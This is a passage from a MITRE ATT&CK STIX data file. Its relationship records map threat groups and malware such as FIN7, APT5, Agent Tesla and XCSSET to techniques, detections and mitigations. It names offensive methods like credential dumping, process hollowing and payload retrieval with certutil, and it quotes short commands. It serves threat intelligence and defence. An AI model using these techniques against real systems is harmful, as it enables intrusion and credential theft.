"source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd9e0f42-5d9d-4690-9d34-4e08a29d4868", "type": "relationship", "created": "2021-09-24T21:41:35.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "HackerNews IndigoZebra July 2021", "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", "description": "Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."}, {"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-24T22:08:18.655Z", "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious password-protected RAR attachments.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd9f1283-ff4b-4314-b7ce-f326d6932bab", "type": "relationship", "created": "2021-09-21T14:39:55.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2021-09-21T14:39:55.535Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046)'s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dda297c6-2edc-47c5-b32b-0d4ef0f85be4", "created": "2019-09-24T12:59:58.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos ZxShell Oct 2014", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", "url": "https://blogs.cisco.com/security/talos/opening-zxshell"}, {"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.550Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to perform SYN flood attack on a host.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dda7159b-33a3-4788-a080-0cf3cb354d88", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dda9f6bb-eb66-422b-aa58-fede809b6a6a", "type": "relationship", "created": "2020-05-27T22:05:32.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Netwalker May 2020", "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}], "modified": "2020-05-27T22:05:32.062Z", "description": "Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ddb0965b-83ac-4746-bfaa-a7356691ef43", "created": "2024-02-12T20:29:38.667Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:29:38.667Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has named exfiltration archives to mimic Windows Updates at times using filenames with a `KB<digits>.zip` pattern.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddbbd283-6874-4348-82c7-98df6d59ac41", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "modified": "2020-01-17T19:43:39.447Z", "description": "[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ddbd1e21-1ec2-40b8-8dbc-37ef27250876", "created": "2022-03-30T14:26:51.847Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "modified": "2022-04-10T17:21:45.976Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddbd80ff-1319-4c9e-ad3c-93091b12a577", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ddc5f723-da25-42b0-b281-4cc20d3e8da1", "created": "2023-09-27T19:49:41.528Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T19:49:41.528Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddc692ea-33e8-493d-a5e3-ce0de48da15c", "type": "relationship", "created": "2021-01-20T18:13:37.509Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-20T18:23:31.736Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has collected credentials for the target organization from previous breaches for use in brute force attacks.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddc7af3d-f8d7-468a-b9ed-59823f96fac2", "type": "relationship", "created": "2021-03-25T16:07:46.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T16:07:46.598Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used tools to download malicious files to compromised hosts.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddda59d4-5455-4d42-901b-b7a227a8a023", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.919Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects password policy information with the command <code>net accounts</code>.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dddaffe1-4d47-4ffd-93e4-3827dc9abb50", "type": "relationship", "created": "2019-04-23T15:49:35.554Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "source_name": "ESET Ebury Feb 2014"}], "modified": "2019-04-26T20:14:18.180Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has installed a self-signed RPM package mimicking the original system package on RPM based systems.(Citation: ESET Ebury Feb 2014)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dddb38c9-408c-44da-9e51-3f7cd159c43d", "type": "relationship", "created": "2020-02-21T20:32:21.104Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T21:27:48.376Z", "description": "Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dde11422-660a-42b1-b231-fb2fd98ed644", "type": "relationship", "created": "2022-01-25T15:17:53.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:17:53.347Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) has the ability to capture screenshots.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dde881dc-6ad3-4819-b339-8019074818c7", "type": "relationship", "created": "2021-10-05T01:45:52.817Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). 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Retrieved March 21, 2021."}], "modified": "2021-10-05T01:45:52.817Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses various API to perform behaviors such as executing payloads and performing local enumeration.(Citation: wardle evilquest partii)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--dde93711-fffc-4426-8e23-7de234278302", "created": "2022-04-11T00:21:09.138Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:21:09.138Z", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddede021-d8bc-4303-9915-5b2dd0ebd4cd", "type": "relationship", "created": "2020-07-16T15:24:32.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:51:26.033Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can scan the network for open ports and vulnerable instances of RDP and SMB protocols.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddee8f55-feed-4474-b996-b80bbe5209a4", "type": "relationship", "created": "2020-12-14T22:10:32.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelLabs Agent Tesla Aug 2020", "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}], "modified": "2020-12-14T22:10:32.127Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.(Citation: SentinelLabs Agent Tesla Aug 2020) ", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ddf5cb3a-6cfa-40c8-8992-396329632f14", "type": "relationship", "created": "2019-03-25T15:05:23.691Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). 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Retrieved February 5, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-06T18:57:52.181Z", "description": "(Citation: Secureworks BRONZE FLEETWOOD Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de0ee6e1-6b97-40be-b036-5339db13e6e4", "type": "relationship", "created": "2020-07-27T17:47:34.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. 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Retrieved January 15, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)", "modified": "2022-04-19T21:08:09.223Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de1f13d3-a6a0-4170-947d-81b59d1262ef", "type": "relationship", "created": "2021-10-14T22:58:54.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-17T17:04:33.263Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses a shell script to execute Mach-o files and <code>osacompile</code> commands such as, <code>osacompile -x -o xcode.app main.applescript</code>.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--de200120-25ab-4d9e-a6c3-cbce0d92d25a", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n##### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/&lt;pid&gt;/maps</code>, where the <code>&lt;pid&gt;</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "modified": "2022-04-19T23:46:22.211Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de2d023c-d1cf-4819-9d9c-67a772b0e313", "type": "relationship", "created": "2020-01-13T15:58:18.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-13T15:58:18.813Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de300ca1-3935-4b44-9b35-e32eee5304f7", "type": "relationship", "created": "2021-03-01T21:23:22.792Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-02T18:16:41.095Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has XOR-encrypted collected system information prior to sending to a C2. [AppleJeus](https://attack.mitre.org/software/S0584) has also used the open source ADVObfuscation library for its components.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de3095b9-2434-48e8-880b-a4b75a1788c4", "type": "relationship", "created": "2021-07-06T23:04:40.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}], "modified": "2021-10-15T19:55:01.719Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing. (Citation: win10_asr)", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": 